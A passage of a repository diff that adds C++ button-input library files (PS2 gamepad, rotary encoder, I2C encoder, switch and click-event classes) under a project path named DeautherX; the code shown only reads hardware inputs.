digitalWrite(attPin, LOW);
|
||||
|
||||
shift(0x01);
|
||||
shift(0x4F);
|
||||
shift(0x00);
|
||||
shift(0xFF);
|
||||
shift(0xFF);
|
||||
shift(0x03);
|
||||
shift(0x00);
|
||||
shift(0x00);
|
||||
shift(0x00);
|
||||
|
||||
digitalWrite(attPin, HIGH);
|
||||
}
|
||||
|
||||
void PS2Gamepad::sendExit() {
|
||||
digitalWrite(attPin, LOW);
|
||||
|
||||
shift(0x01);
|
||||
shift(0x43);
|
||||
shift(0x00);
|
||||
shift(0x00);
|
||||
shift(0x5A);
|
||||
shift(0x5A);
|
||||
shift(0x5A);
|
||||
shift(0x5A);
|
||||
shift(0x5A);
|
||||
|
||||
digitalWrite(attPin, HIGH);
|
||||
}
|
||||
|
||||
void PS2Gamepad::sendRead() {
|
||||
digitalWrite(attPin, LOW);
|
||||
|
||||
shift(0x01);
|
||||
shift(0x45);
|
||||
shift(0x00);
|
||||
controllerType = shift(0x5A);
|
||||
shift(0x5A);
|
||||
shift(0x5A);
|
||||
shift(0x5A);
|
||||
shift(0x5A);
|
||||
shift(0x5A);
|
||||
|
||||
digitalWrite(attPin, HIGH);
|
||||
}
|
||||
}
|
||||
93
DeautherX/src/SimpleButton/Buttons/PS2Gamepad.h
Normal file
93
DeautherX/src/SimpleButton/Buttons/PS2Gamepad.h
Normal file
@@ -0,0 +1,93 @@
|
||||
#ifndef SimpleButton_PS2Gamepad_h
|
||||
#define SimpleButton_PS2Gamepad_h
|
||||
|
||||
#include "Button.h"
|
||||
#include "AnalogStick.h"
|
||||
|
||||
namespace simplebutton {
|
||||
class PS2Gamepad {
|
||||
public:
|
||||
ButtonAnalog* up = NULL;
|
||||
ButtonAnalog* down = NULL;
|
||||
ButtonAnalog* left = NULL;
|
||||
ButtonAnalog* right = NULL;
|
||||
|
||||
ButtonAnalog* l1 = NULL;
|
||||
ButtonAnalog* l2 = NULL;
|
||||
ButtonAnalog* r1 = NULL;
|
||||
ButtonAnalog* r2 = NULL;
|
||||
|
||||
ButtonAnalog* square = NULL;
|
||||
ButtonAnalog* triangle = NULL;
|
||||
ButtonAnalog* cross = NULL;
|
||||
ButtonAnalog* circle = NULL;
|
||||
|
||||
Button* select = NULL;
|
||||
Button* start = NULL;
|
||||
|
||||
AnalogStick* analogLeft = NULL;
|
||||
AnalogStick* analogRight = NULL;
|
||||
|
||||
PS2Gamepad();
|
||||
PS2Gamepad(uint8_t clockPin, uint8_t cmdPin, uint8_t attPin, uint8_t dataPin, bool analog = true);
|
||||
~PS2Gamepad();
|
||||
|
||||
void setup(uint8_t clockPin, uint8_t cmdPin, uint8_t attPin, uint8_t dataPin, bool analog = true);
|
||||
void reconfig();
|
||||
|
||||
void update();
|
||||
|
||||
String getError();
|
||||
|
||||
bool connected();
|
||||
|
||||
void setUpdateInterval(uint32_t updateInterval);
|
||||
void setMotors(uint8_t motorA, uint8_t motorB);
|
||||
|
||||
private:
|
||||
void poll();
|
||||
void poll(uint8_t motorA, uint8_t motorB);
|
||||
|
||||
bool getDigitalValue(uint8_t button);
|
||||
uint8_t getAnalogValue(uint8_t button);
|
||||
|
||||
// config
|
||||
uint8_t motorA = 0x00; // 0 = OFF, 1 = ONN
|
||||
uint8_t motorB = 0x00; // usually 0-39 = OFF, 40 - 255 = ON
|
||||
|
||||
bool rumbleEnabled = false;
|
||||
bool pressureEnabled = false;
|
||||
|
||||
uint32_t updateInterval = 25;
|
||||
|
||||
// class variables
|
||||
bool is_connected = false;
|
||||
|
||||
uint8_t errorCode = 0;
|
||||
uint8_t controllerType = 0;
|
||||
uint8_t gamepadData[21];
|
||||
|
||||
uint16_t buttonData = 0;
|
||||
uint16_t prevButtonData = 0;
|
||||
|
||||
uint32_t lastPoll = 0;
|
||||
|
||||
uint8_t clockPin = 0;
|
||||
uint8_t cmdPin = 0;
|
||||
uint8_t attPin = 0;
|
||||
uint8_t dataPin = 0;
|
||||
|
||||
// in/output
|
||||
uint8_t shift(uint8_t data);
|
||||
|
||||
// commands
|
||||
void sendEnter();
|
||||
void sendMode();
|
||||
void sendRumble();
|
||||
void sendBytesLarge();
|
||||
void sendExit();
|
||||
void sendRead();
|
||||
};
|
||||
}
|
||||
|
||||
#endif // ifndef SimpleButton_PS2Gamepad_h
|
||||
172
DeautherX/src/SimpleButton/Buttons/RotaryEncoder.cpp
Normal file
172
DeautherX/src/SimpleButton/Buttons/RotaryEncoder.cpp
Normal file
@@ -0,0 +1,172 @@
|
||||
#include "RotaryEncoder.h"
|
||||
|
||||
namespace simplebutton {
|
||||
RotaryEncoder::RotaryEncoder() {
|
||||
setButtons(NULL, NULL, NULL);
|
||||
}
|
||||
|
||||
RotaryEncoder::RotaryEncoder(uint8_t channelA, uint8_t channelB, uint8_t button) {
|
||||
setup(channelA, channelB, button);
|
||||
}
|
||||
|
||||
RotaryEncoder::RotaryEncoder(GPIOExpander* pcf, uint8_t channelA, uint8_t channelB, uint8_t button) {
|
||||
setup(pcf, channelA, channelB, button);
|
||||
}
|
||||
|
||||
RotaryEncoder::RotaryEncoder(Button* clockwise, Button* anticlockwise, Button* button) {
|
||||
setup(clockwise, anticlockwise, button);
|
||||
}
|
||||
|
||||
RotaryEncoder::~RotaryEncoder() {
|
||||
if (this->clockwise) delete this->clockwise;
|
||||
if (this->anticlockwise) delete this->anticlockwise;
|
||||
if (this->button) delete this->button;
|
||||
}
|
||||
|
||||
void RotaryEncoder::setup(uint8_t channelA, uint8_t channelB, uint8_t button) {
|
||||
this->clockwise = new ButtonPullup(channelA);
|
||||
this->anticlockwise = new ButtonPullup(channelB);
|
||||
this->button = new ButtonPullup(button);
|
||||
|
||||
prevA = clockwise->read();
|
||||
prevB = anticlockwise->read();
|
||||
}
|
||||
|
||||
void RotaryEncoder::setup(GPIOExpander* pcf, uint8_t channelA, uint8_t channelB, uint8_t button) {
|
||||
this->clockwise = new ButtonPullupGPIOExpander(pcf, channelA);
|
||||
this->anticlockwise = new ButtonPullupGPIOExpander(pcf, channelB);
|
||||
this->button = new ButtonPullupGPIOExpander(pcf, button);
|
||||
|
||||
prevA = clockwise->read();
|
||||
prevB = anticlockwise->read();
|
||||
}
|
||||
|
||||
void RotaryEncoder::setup(Button* clockwise, Button* anticlockwise, Button* button) {
|
||||
setButtons(clockwise, anticlockwise, button);
|
||||
|
||||
prevA = clockwise->read();
|
||||
prevB = anticlockwise->read();
|
||||
}
|
||||
|
||||
void RotaryEncoder::update() {
|
||||
update(clockwise->read(), anticlockwise->read(), button->read());
|
||||
}
|
||||
|
||||
void RotaryEncoder::update(bool stateA, bool stateB, bool buttonState) {
|
||||
button->update(buttonState);
|
||||
|
||||
if (curState == State::STILL) {
|
||||
if ((stateA != prevA) && (stateB == prevB)) {
|
||||
prevA = stateA;
|
||||
curState = State::ANTICLOCKWISE;
|
||||
} else if ((stateA == prevA) && (stateB != prevB)) {
|
||||
prevB = stateB;
|
||||
curState = State::CLOCKWISE;
|
||||
}
|
||||
} else if ((curState != State::STILL) && (stateA == stateB)) {
|
||||
prevA = stateA;
|
||||
prevB = stateB;
|
||||
|
||||
if (curState == prevState) steps++;
|
||||
else steps = 1;
|
||||
|
||||
if (steps >= button_steps) {
|
||||
if (curState == State::CLOCKWISE) {
|
||||
if (!inverted) goClockwise();
|
||||
else goAnticlockwise();
|
||||
} else if (curState == State::ANTICLOCKWISE) {
|
||||
if (!inverted) goAnticlockwise();
|
||||
else goClockwise();
|
||||
}
|
||||
|
||||
steps = 0;
|
||||
}
|
||||
|
||||
prevState = curState;
|
||||
curState = State::STILL;
|
||||
}
|
||||
}
|
||||
|
||||
void RotaryEncoder::reset() {
|
||||
button->reset();
|
||||
clockwise->reset();
|
||||
anticlockwise->reset();
|
||||
|
||||
curState = State::STILL;
|
||||
prevState = State::STILL;
|
||||
|
||||
steps = 0;
|
||||
}
|
||||
|
||||
int32_t RotaryEncoder::getPos() {
|
||||
return pos;
|
||||
}
|
||||
|
||||
void RotaryEncoder::setButtons(Button* clockwise, Button* anticlockwise, Button* button) {
|
||||
if (this->clockwise) delete this->clockwise;
|
||||
if (this->anticlockwise) delete this->anticlockwise;
|
||||
if (this->button) delete this->button;
|
||||
|
||||
this->clockwise = clockwise ? clockwise : new Button();
|
||||
this->anticlockwise = anticlockwise ? anticlockwise : new Button();
|
||||
this->button = button ? button : new Button();
|
||||
}
|
||||
|
||||
void RotaryEncoder::setPos(int32_t pos) {
|
||||
this->pos = pos;
|
||||
}
|
||||
|
||||
void RotaryEncoder::setMin(int32_t value) {
|
||||
this->min = value;
|
||||
}
|
||||
|
||||
void RotaryEncoder::setMax(int32_t value) {
|
||||
this->max = value;
|
||||
}
|
||||
|
||||
void RotaryEncoder::setEncoding(uint8_t steps) {
|
||||
if ((steps == 1) || (steps == 2) || (steps == 4)) this->button_steps = steps;
|
||||
}
|
||||
|
||||
void RotaryEncoder::enableLoop(bool loop) {
|
||||
this->loop = loop;
|
||||
}
|
||||
|
||||
void RotaryEncoder::setInverted(bool inverted) {
|
||||
this->inverted = inverted;
|
||||
}
|
||||
|
||||
void RotaryEncoder::goClockwise() {
|
||||
clockwise->click();
|
||||
anticlockwise->reset();
|
||||
if (pos < max) pos++;
|
||||
else if (loop) pos = min;
|
||||
}
|
||||
|
||||
void RotaryEncoder::goAnticlockwise() {
|
||||
anticlockwise->click();
|
||||
clockwise->reset();
|
||||
if (pos > min) pos--;
|
||||
else if (loop) pos = max;
|
||||
}
|
||||
|
||||
bool RotaryEncoder::clicked() {
|
||||
return button->clicked();
|
||||
}
|
||||
|
||||
bool RotaryEncoder::incremented() {
|
||||
return clockwise->clicked();
|
||||
}
|
||||
|
||||
bool RotaryEncoder::decremented() {
|
||||
return anticlockwise->clicked();
|
||||
}
|
||||
|
||||
bool RotaryEncoder::minVal() {
|
||||
return pos == min;
|
||||
}
|
||||
|
||||
bool RotaryEncoder::maxVal() {
|
||||
return pos == max;
|
||||
}
|
||||
}
|
||||
71
DeautherX/src/SimpleButton/Buttons/RotaryEncoder.h
Normal file
71
DeautherX/src/SimpleButton/Buttons/RotaryEncoder.h
Normal file
@@ -0,0 +1,71 @@
|
||||
#ifndef SimpleButton_RotaryEncoder_h
|
||||
#define SimpleButton_RotaryEncoder_h
|
||||
|
||||
#include "Button.h"
|
||||
#include "ButtonPullup.h"
|
||||
#include "ButtonGPIOExpander.h"
|
||||
#include "ButtonPullupGPIOExpander.h"
|
||||
|
||||
namespace simplebutton {
|
||||
class RotaryEncoder {
|
||||
public:
|
||||
Button* button = NULL;
|
||||
Button* clockwise = NULL;
|
||||
Button* anticlockwise = NULL;
|
||||
|
||||
RotaryEncoder();
|
||||
RotaryEncoder(uint8_t channelA, uint8_t channelB, uint8_t button);
|
||||
RotaryEncoder(GPIOExpander* pcf, uint8_t channelA, uint8_t channelB, uint8_t button);
|
||||
RotaryEncoder(Button* clockwise, Button* anticlockwise, Button* button);
|
||||
|
||||
~RotaryEncoder();
|
||||
|
||||
void setup(uint8_t channelA, uint8_t channelB, uint8_t button);
|
||||
void setup(GPIOExpander* pcf, uint8_t channelA, uint8_t channelB, uint8_t button);
|
||||
void setup(Button* clockwise, Button* anticlockwise, Button* button);
|
||||
|
||||
void update();
|
||||
void update(bool stateA, bool stateB, bool buttonState);
|
||||
|
||||
void reset();
|
||||
|
||||
int32_t getPos();
|
||||
|
||||
void setButtons(Button* clockwise, Button* anticlockwise, Button* button);
|
||||
void setPos(int32_t pos);
|
||||
void enableLoop(bool loop);
|
||||
void setEncoding(uint8_t steps);
|
||||
void setMin(int32_t value);
|
||||
void setMax(int32_t value);
|
||||
void setInverted(bool inverted);
|
||||
|
||||
bool clicked();
|
||||
bool incremented();
|
||||
bool decremented();
|
||||
bool minVal();
|
||||
bool maxVal();
|
||||
|
||||
private:
|
||||
int32_t pos = 0;
|
||||
|
||||
bool prevA = false;
|
||||
bool prevB = false;
|
||||
|
||||
enum State { STILL = 0, CLOCKWISE = 1, ANTICLOCKWISE = 2 };
|
||||
State curState = State::STILL;
|
||||
State prevState = State::STILL;
|
||||
|
||||
uint8_t button_steps = 1; // how many steps per turn (encoding)
|
||||
uint8_t steps = 0; // tmp counter
|
||||
|
||||
int32_t min = -128;
|
||||
int32_t max = 127;
|
||||
bool loop = false;
|
||||
bool inverted = false;
|
||||
|
||||
void goClockwise();
|
||||
void goAnticlockwise();
|
||||
};
|
||||
}
|
||||
|
||||
#endif // ifndef SimpleButton_RotaryEncoder_h
|
||||
276
DeautherX/src/SimpleButton/Buttons/RotaryEncoderI2C.cpp
Normal file
276
DeautherX/src/SimpleButton/Buttons/RotaryEncoderI2C.cpp
Normal file
@@ -0,0 +1,276 @@
|
||||
#include "RotaryEncoderI2C.h"
|
||||
namespace simplebutton {
|
||||
RotaryEncoderI2C::RotaryEncoderI2C() {
|
||||
setup(0x30);
|
||||
}
|
||||
|
||||
RotaryEncoderI2C::RotaryEncoderI2C(uint8_t i2cAddress) {
|
||||
setup(i2cAddress);
|
||||
}
|
||||
|
||||
RotaryEncoderI2C::RotaryEncoderI2C(uint8_t i2cAddress, TwoWire* wire) {
|
||||
setup(i2cAddress, wire);
|
||||
}
|
||||
|
||||
RotaryEncoderI2C::~RotaryEncoderI2C() {}
|
||||
|
||||
void RotaryEncoderI2C::setup(uint8_t i2cAddress) {
|
||||
setup(i2cAddress, &Wire);
|
||||
}
|
||||
|
||||
void RotaryEncoderI2C::setup(uint8_t i2cAddress, TwoWire* wire) {
|
||||
this->i2cAddress = i2cAddress;
|
||||
this->wire = wire;
|
||||
|
||||
this->clockwise = new Button();
|
||||
this->anticlockwise = new Button();
|
||||
this->button = new Button();
|
||||
|
||||
setMin(-128);
|
||||
setMax(127);
|
||||
|
||||
begin();
|
||||
}
|
||||
|
||||
bool RotaryEncoderI2C::interrupt() {
|
||||
if (interruptEnable) return digitalRead(interruptPin) == LOW;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void RotaryEncoderI2C::enableInterrupt(uint8_t pin, bool pullup) {
|
||||
interruptPin = pin;
|
||||
interruptEnable = true;
|
||||
interruptPullup = pullup;
|
||||
pinMode(pin, INPUT);
|
||||
}
|
||||
|
||||
bool RotaryEncoderI2C::update() {
|
||||
if (interrupt()) {
|
||||
readStatus();
|
||||
|
||||
if (clicked()) button->click();
|
||||
|
||||
if (incremented()) clockwise->click();
|
||||
|
||||
if (decremented()) anticlockwise->click();
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
void RotaryEncoderI2C::begin() {
|
||||
uint8_t config = 0x00;
|
||||
|
||||
if (interruptEnable) config = config | 0x01;
|
||||
if (ledEnabled) config = config | 0x02;
|
||||
if (loop) config = config | 0x04;
|
||||
if (inverted) config = config | 0x08;
|
||||
if (!interruptPullup) config = config | 0x10;
|
||||
if (encoding) config = config | 0x20;
|
||||
|
||||
setConfig(config);
|
||||
}
|
||||
|
||||
void RotaryEncoderI2C::reset() {
|
||||
button->reset();
|
||||
clockwise->reset();
|
||||
anticlockwise->reset();
|
||||
|
||||
setConfig(0x80);
|
||||
update();
|
||||
}
|
||||
|
||||
bool RotaryEncoderI2C::connected() {
|
||||
return error == 0;
|
||||
}
|
||||
|
||||
String RotaryEncoderI2C::getError() {
|
||||
String msg;
|
||||
|
||||
switch (error) {
|
||||
case 0:
|
||||
msg += "OK";
|
||||
break;
|
||||
|
||||
case 1:
|
||||
msg += String(F("Data too long to fit in transmit buffer"));
|
||||
break;
|
||||
|
||||
case 2:
|
||||
msg += String(F("Received NACK on transmit of address"));
|
||||
break;
|
||||
|
||||
case 3:
|
||||
msg += String(F("Received NACK on transmit of data"));
|
||||
|
||||
case 4:
|
||||
msg += String(F("Unknown transmission error"));
|
||||
break;
|
||||
|
||||
case 5:
|
||||
msg += String(F("I2C error"));
|
||||
break;
|
||||
}
|
||||
|
||||
return msg;
|
||||
}
|
||||
|
||||
void RotaryEncoderI2C::setConfig(uint8_t config) {
|
||||
write(0x00, config);
|
||||
}
|
||||
|
||||
void RotaryEncoderI2C::enableLed(bool led) {
|
||||
ledEnabled = led;
|
||||
}
|
||||
|
||||
void RotaryEncoderI2C::enableLoop(bool loop) {
|
||||
this->loop = loop;
|
||||
}
|
||||
|
||||
void RotaryEncoderI2C::setEncoding(uint8_t encoding) {
|
||||
if (encoding == 1) this->encoding = false;
|
||||
else if (encoding == 2) this->encoding = true;
|
||||
}
|
||||
|
||||
void RotaryEncoderI2C::setInverted(bool inverted) {
|
||||
this->inverted = inverted;
|
||||
}
|
||||
|
||||
void RotaryEncoderI2C::setPos(int32_t value) {
|
||||
write(0x02, value);
|
||||
}
|
||||
|
||||
void RotaryEncoderI2C::setMin(int32_t value) {
|
||||
write(0x0A, value);
|
||||
}
|
||||
|
||||
void RotaryEncoderI2C::setMax(int32_t value) {
|
||||
write(0x06, value);
|
||||
}
|
||||
|
||||
void RotaryEncoderI2C::setLed(uint8_t valueA, uint8_t valueB) {
|
||||
setLedA(valueA);
|
||||
setLedB(valueB);
|
||||
}
|
||||
|
||||
void RotaryEncoderI2C::setLedA(uint8_t value) {
|
||||
if (ledEnabled) write(0x0E, value);
|
||||
}
|
||||
|
||||
void RotaryEncoderI2C::setLedB(uint8_t value) {
|
||||
if (ledEnabled) write(0x0F, value);
|
||||
}
|
||||
|
||||
int32_t RotaryEncoderI2C::getPos() {
|
||||
return read32(0x02);
|
||||
}
|
||||
|
||||
uint8_t RotaryEncoderI2C::readStatus() {
|
||||
status = read(0x01);
|
||||
return status;
|
||||
}
|
||||
|
||||
uint8_t RotaryEncoderI2C::readLedA() {
|
||||
return read(0x0E);
|
||||
}
|
||||
|
||||
uint8_t RotaryEncoderI2C::readLedB() {
|
||||
return read(0x0F);
|
||||
}
|
||||
|
||||
int32_t RotaryEncoderI2C::readMax() {
|
||||
return read32(0x06);
|
||||
}
|
||||
|
||||
int32_t RotaryEncoderI2C::readMin() {
|
||||
return read32(0x0A);
|
||||
}
|
||||
|
||||
bool RotaryEncoderI2C::clicked() {
|
||||
return status & 0x01;
|
||||
}
|
||||
|
||||
bool RotaryEncoderI2C::incremented() {
|
||||
return status & 0x02;
|
||||
}
|
||||
|
||||
bool RotaryEncoderI2C::decremented() {
|
||||
return status & 0x04;
|
||||
}
|
||||
|
||||
bool RotaryEncoderI2C::minVal() {
|
||||
return status & 0x10;
|
||||
}
|
||||
|
||||
bool RotaryEncoderI2C::maxVal() {
|
||||
return status & 0x08;
|
||||
}
|
||||
|
||||
void RotaryEncoderI2C::write(uint8_t address, uint8_t value) {
|
||||
wire->beginTransmission(i2cAddress);
|
||||
|
||||
wire->write(address);
|
||||
wire->write(value);
|
||||
|
||||
error = wire->endTransmission();
|
||||
}
|
||||
|
||||
void RotaryEncoderI2C::write(uint8_t address, int32_t value) {
|
||||
wire->beginTransmission(i2cAddress);
|
||||
|
||||
wire->write(address);
|
||||
wire->write(((uint32_t)value >> 24) & 0xFF);
|
||||
wire->write(((uint32_t)value >> 16) & 0xFF);
|
||||
wire->write(((uint32_t)value >> 8) & 0xFF);
|
||||
wire->write((uint32_t)value & 0xFF);
|
||||
|
||||
error = wire->endTransmission();
|
||||
}
|
||||
|
||||
uint8_t RotaryEncoderI2C::read(uint8_t address) {
|
||||
uint8_t data = 0xFF;
|
||||
|
||||
// ask for some sweet data
|
||||
|
||||
wire->beginTransmission(i2cAddress);
|
||||
wire->write(address);
|
||||
error = wire->endTransmission();
|
||||
|
||||
// read out the sweet data
|
||||
wire->requestFrom(i2cAddress, (uint8_t)1);
|
||||
|
||||
if (wire->available() == 1) {
|
||||
data = wire->read();
|
||||
} else {
|
||||
error = ROTARY_ENCODER_I2C_ERROR;
|
||||
}
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
int32_t RotaryEncoderI2C::read32(uint8_t address) {
|
||||
uint32_t data = 0xFFFFFFFF;
|
||||
|
||||
// ask for some sweet data
|
||||
wire->beginTransmission(i2cAddress);
|
||||
wire->write(address);
|
||||
error = wire->endTransmission();
|
||||
|
||||
// read out the sweet data
|
||||
wire->requestFrom(i2cAddress, (uint8_t)4);
|
||||
|
||||
if (wire->available() == 4) {
|
||||
data = wire->read();
|
||||
data = (data << 8) | wire->read();
|
||||
data = (data << 8) | wire->read();
|
||||
data = (data << 8) | wire->read();
|
||||
} else {
|
||||
error = ROTARY_ENCODER_I2C_ERROR;
|
||||
}
|
||||
|
||||
return (int32_t)data;
|
||||
}
|
||||
}
|
||||
92
DeautherX/src/SimpleButton/Buttons/RotaryEncoderI2C.h
Normal file
92
DeautherX/src/SimpleButton/Buttons/RotaryEncoderI2C.h
Normal file
@@ -0,0 +1,92 @@
|
||||
#ifndef SimpleButton_RotaryEncoderI2C_h
|
||||
#define SimpleButton_RotaryEncoderI2C_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <Wire.h>
|
||||
|
||||
#define ROTARY_ENCODER_I2C_ERROR 5
|
||||
|
||||
#include "Button.h"
|
||||
|
||||
namespace simplebutton {
|
||||
class RotaryEncoderI2C {
|
||||
public:
|
||||
Button* clockwise = NULL;
|
||||
Button* anticlockwise = NULL;
|
||||
Button* button = NULL;
|
||||
|
||||
RotaryEncoderI2C();
|
||||
RotaryEncoderI2C(uint8_t i2cAddress);
|
||||
RotaryEncoderI2C(uint8_t i2cAddressdress, TwoWire* wire);
|
||||
|
||||
~RotaryEncoderI2C();
|
||||
|
||||
void setup(uint8_t i2cAddress);
|
||||
void setup(uint8_t i2cAddress, TwoWire* wire);
|
||||
|
||||
bool update();
|
||||
|
||||
void begin();
|
||||
void reset();
|
||||
|
||||
bool connected();
|
||||
String getError();
|
||||
|
||||
void setConfig(uint8_t config);
|
||||
|
||||
void enableInterrupt(uint8_t pin, bool pullup);
|
||||
void enableLed(bool led);
|
||||
void enableLoop(bool loop);
|
||||
void setEncoding(uint8_t encoding);
|
||||
void setInverted(bool inverted);
|
||||
|
||||
bool interrupt();
|
||||
|
||||
void setPos(int32_t value);
|
||||
void setMin(int32_t value);
|
||||
void setMax(int32_t value);
|
||||
void setLed(uint8_t valueA, uint8_t valueB);
|
||||
void setLedA(uint8_t value);
|
||||
void setLedB(uint8_t value);
|
||||
|
||||
int32_t getPos();
|
||||
|
||||
uint8_t readStatus();
|
||||
uint8_t readLedA();
|
||||
uint8_t readLedB();
|
||||
int32_t readMax();
|
||||
int32_t readMin();
|
||||
|
||||
bool clicked();
|
||||
bool incremented();
|
||||
bool decremented();
|
||||
bool minVal();
|
||||
bool maxVal();
|
||||
|
||||
private:
|
||||
// temp variables
|
||||
uint8_t status = 0x00;
|
||||
uint8_t error = 0;
|
||||
|
||||
// i2c stuff
|
||||
uint8_t i2cAddress = 0x00;
|
||||
TwoWire* wire = NULL;
|
||||
|
||||
// config
|
||||
uint8_t interruptPin = 0;
|
||||
bool interruptEnable = false; // INTE
|
||||
bool interruptPullup = true;
|
||||
bool ledEnabled = false; // LEDE
|
||||
bool encoding = false; // x1 = false, x2 = true
|
||||
bool loop = false; // WRAPE
|
||||
bool inverted = false; // DIRE
|
||||
|
||||
// internal functions
|
||||
void write(uint8_t address, uint8_t value);
|
||||
void write(uint8_t address, int32_t value);
|
||||
|
||||
uint8_t read(uint8_t address);
|
||||
int32_t read32(uint8_t address);
|
||||
};
|
||||
}
|
||||
#endif // ifndef SimpleButton_RotaryEncoderI2C_h
|
||||
63
DeautherX/src/SimpleButton/Buttons/Switch.cpp
Normal file
63
DeautherX/src/SimpleButton/Buttons/Switch.cpp
Normal file
@@ -0,0 +1,63 @@
|
||||
#include "Switch.h"
|
||||
|
||||
namespace simplebutton {
|
||||
Switch::Switch() {
|
||||
button = new Button();
|
||||
}
|
||||
|
||||
Switch::Switch(uint8_t pin) {
|
||||
setup(pin);
|
||||
}
|
||||
|
||||
Switch::Switch(GPIOExpander* pcf, uint8_t pin) {
|
||||
setup(pcf, pin);
|
||||
}
|
||||
|
||||
Switch::Switch(Button* button) {
|
||||
setup(button);
|
||||
}
|
||||
|
||||
Switch::~Switch() {
|
||||
if (this->button) delete this->button;
|
||||
}
|
||||
|
||||
void Switch::setup(uint8_t pin) {
|
||||
button = new Button(pin);
|
||||
tmpState = button->read();
|
||||
}
|
||||
|
||||
void Switch::setup(GPIOExpander* pcf, uint8_t pin) {
|
||||
button = new ButtonGPIOExpander(pcf, pin);
|
||||
tmpState = button->read();
|
||||
}
|
||||
|
||||
void Switch::setup(Button* button) {
|
||||
setButton(button);
|
||||
tmpState = button->read();
|
||||
}
|
||||
|
||||
void Switch::update() {
|
||||
update(button->read());
|
||||
}
|
||||
|
||||
void Switch::update(bool state) {
|
||||
bool prevState = tmpState;
|
||||
|
||||
tmpState = state > 0;
|
||||
|
||||
if (prevState != tmpState) button->click();
|
||||
}
|
||||
|
||||
void Switch::setButton(Button* button) {
|
||||
if (this->button) delete this->button;
|
||||
this->button = button ? button : new Button();
|
||||
}
|
||||
|
||||
bool Switch::getState() {
|
||||
return tmpState;
|
||||
}
|
||||
|
||||
bool Switch::clicked() {
|
||||
return button->clicked();
|
||||
}
|
||||
}
|
||||
36
DeautherX/src/SimpleButton/Buttons/Switch.h
Normal file
36
DeautherX/src/SimpleButton/Buttons/Switch.h
Normal file
@@ -0,0 +1,36 @@
|
||||
#ifndef SimpleButton_Switch_h
|
||||
#define SimpleButton_Switch_h
|
||||
|
||||
#include "Button.h"
|
||||
#include "ButtonGPIOExpander.h"
|
||||
|
||||
namespace simplebutton {
|
||||
class Switch {
|
||||
public:
|
||||
Button* button = NULL;
|
||||
|
||||
Switch();
|
||||
Switch(uint8_t pin);
|
||||
Switch(GPIOExpander* pcf, uint8_t pin);
|
||||
Switch(Button* button);
|
||||
|
||||
~Switch();
|
||||
|
||||
void setup(uint8_t pin);
|
||||
void setup(GPIOExpander* pcf, uint8_t pin);
|
||||
void setup(Button* button);
|
||||
|
||||
void update();
|
||||
void update(bool state);
|
||||
|
||||
void setButton(Button* button);
|
||||
|
||||
bool getState();
|
||||
bool clicked();
|
||||
|
||||
private:
|
||||
bool tmpState = false;
|
||||
};
|
||||
}
|
||||
|
||||
#endif // ifndef SimpleButton_Switch_h
|
||||
28
DeautherX/src/SimpleButton/Events/ClickEvent.cpp
Normal file
28
DeautherX/src/SimpleButton/Events/ClickEvent.cpp
Normal file
@@ -0,0 +1,28 @@
|
||||
#include "ClickEvent.h"
|
||||
|
||||
namespace simplebutton {
|
||||
ClickEvent::ClickEvent(ButtonEventFunction, uint32_t minPushTime, uint32_t minReleaseTime) {
|
||||
this->fnct = fnct;
|
||||
this->minPushTime = minPushTime;
|
||||
this->minReleaseTime = minReleaseTime;
|
||||
}
|
||||
|
||||
ClickEvent::~ClickEvent() {
|
||||
if (next) {
|
||||
delete next;
|
||||
next = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
uint8_t ClickEvent::getMode() {
|
||||
return MODE::CLICKED;
|
||||
}
|
||||
|
||||
uint32_t ClickEvent::getMinPushTime() {
|
||||
return minPushTime;
|
||||
}
|
||||
|
||||
uint32_t ClickEvent::getMinReleaseTime() {
|
||||
return minReleaseTime;
|
||||
}
|
||||
}
|
||||
22
DeautherX/src/SimpleButton/Events/ClickEvent.h
Normal file
22
DeautherX/src/SimpleButton/Events/ClickEvent.h
Normal file
@@ -0,0 +1,22 @@
|
||||
#ifndef SimpleButton_ClickEvent_h
|
||||
#define SimpleButton_ClickEvent_h
|
||||
|
||||
#include "Event.h"
|
||||
|
||||
namespace simplebutton {
|
||||
class ClickEvent : public Event {
|
||||
public:
|
||||
ClickEvent(ButtonEventFunction, uint32_t minPushTime, uint32_t minReleaseTime);
|
||||
~ClickEvent();
|
||||
|
||||
uint8_t getMode();
|
||||
uint32_t getMinPushTime();
|
||||
uint32_t getMinReleaseTime();
|
||||
|
||||
private:
|
||||
uint32_t minPushTime = 0;
|
||||
uint32_t minReleaseTime = 0;
|
||||
};
|
||||
}
|
||||
|
||||
#endif // ifndef SimpleButton_ClickEvent_h
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user